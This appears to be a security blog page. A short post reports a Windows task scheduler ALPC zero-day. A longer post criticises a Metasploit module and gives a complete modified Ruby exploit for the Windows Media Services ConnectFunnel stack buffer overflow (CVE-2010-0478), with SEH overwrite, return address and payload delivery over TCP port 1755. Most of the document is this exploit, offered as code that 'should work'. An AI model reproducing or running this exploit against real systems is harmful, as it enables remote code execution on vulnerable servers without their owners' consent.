Tug of War: Researcher released POC for Windows Unpatched Zero Day

Researcher named SandboxEscaper Disclosed a zero-day vulnerability, without notifying Microsoft which is very rare now days. Its not clear what trigger this action from researcher as now a days MS is very friendly with researcher . This Disclosure leaving all Windows users vulnerable to the hackers until a security patch is release by the tech giant to address the issue..

The vulnerability is a privilege escalation issue which resides in the Windows' task scheduler program and occurred due to errors in the handling of Advanced Local Procedure Call (ALPC) systems.

Advanced local procedure call (ALPC) is an internal mechanism, available only to Windows operating system components, that facilitates high-speed and secure data transfer between one or more processes in the user mode.

Since Advanced Local Procedure Call (ALPC) interface is a local system, the impact of the vulnerability is limited with a CVSS score of 6.4 to 6.8, but the PoC exploit released by the researcher could potentially help malware authors to target Windows users.
Here is POC demo

Whats wrong with MSF ms10_025_wmss_connect_funnel Sploit

Looks Like metasploit team added this exploit in the frame work in hurry . They are sending Current info & Transport info message in single packet that will never exploit the vulnerability ( Correct me).

here is the modified Code that should work .

##
# $Id: ms10_025_wmss_connect_funnel.rb 9101 2010-04-17 11:22:37Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Windows Media
Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
crafted FunnelConnect request, an attacker can execute arbitrary code
under the "NetShowServices" user account. Windows Media Services 4.1 ships
with Windows 2000 Server, but is not installed by default.

NOTE: This service does NOT restart automatically. Successful, as well as
unsuccessful exploitation attempts will kill the service which prevents
additional attempts.
},
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9101 $',
'References' =>
[
[ 'CVE', '2010-0478' ],
[ 'OSVDB', '63726' ],
[ 'MSB', 'MS10-025' ],
[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English',
{
# SEH handler offset is 840
# Stack return is at 652
'Offset' => 840,
'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 13 2010',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(1755)
], self.class)
end

def exploit
@pkts = 0
cmd_buf = ''

# LinkViewerToMacConnect
subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
#subscriber = "Spooooon!"
subscriber << "\x00"
subscriber = Rex::Text.to_unicode(subscriber)
cmd_buf << make_command(0x30001, subscriber)

# LinkViewerToMacConnectFunnel
#name = Rex::Text.pattern_create(512)
name = ''
name << "\\\\"
name << rand_text((target['Offset'] + 4 + 5) / 2)
name << "\\"
name << "\x00"

# Convert it to Unicode..
name = Rex::Text.to_unicode(name)

# Insert the return address..
name[4,payload.encoded.length] = payload.encoded

# Build the SEH frame that leads to the payload...
seh = generate_seh_record(target.ret)
asm = "add edi, 0x04\njmp edi"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
name[target['Offset'],seh.length] = seh

##sumit start
pkt = make_tcpmsghdr(cmd_buf)
connect
sock.put(pkt)
##sumit done
cmd_buf = ''

# Add it to the command buffer..
cmd_buf << make_command(0x30002, name)

# Build the TcpMessageHeader ..
pkt = make_tcpmsghdr(cmd_buf)

print_status("Sending crafy commands (#{pkt.length} bytes) ...")
# Handle the transacation..
#connect
sock.put(pkt)

handler
disconnect
end


#
# Create a TcpMessageHeader from the supplied data
#
def make_tcpmsghdr(data)
len = data.length
# The server doesn't like packets that are bigger...
raise RuntimeError, 'Length too big' if (len > 0x1000)
len /= 8

# Pack the pieces in ...
pkt = [
1,0,0,0, # rep, ver, verMinor, pad
0xb00bface, # session id (nice)
data.length + 16, # msg len
0x20534d4d, # seal ("MMS ")
len + 2, # chunkCount
@pkts, 0, # seq, MBZ
rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
].pack('CCCCVVVVvvVV')

# Add the data
pkt << data

# Pad it to 8 bytes...
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)

pkt
end


#
# Create a command packet
#
def make_command(msg_id, extra)
# Two opcodes, get handled differently..
case msg_id
when 0x30001
data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')

when 0x30002
data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')

end

# Put some data on...
data << extra

# Pad it to 8 bytes...
left = data.length % 8
data << ("\x00" * (8 - left)) if (left > 0)

# Combine the pieces..
pkt = [
(data.length / 8) + 1, # chunkLen
msg_id # msg ID
].pack('VV')
pkt << data

pkt
end

end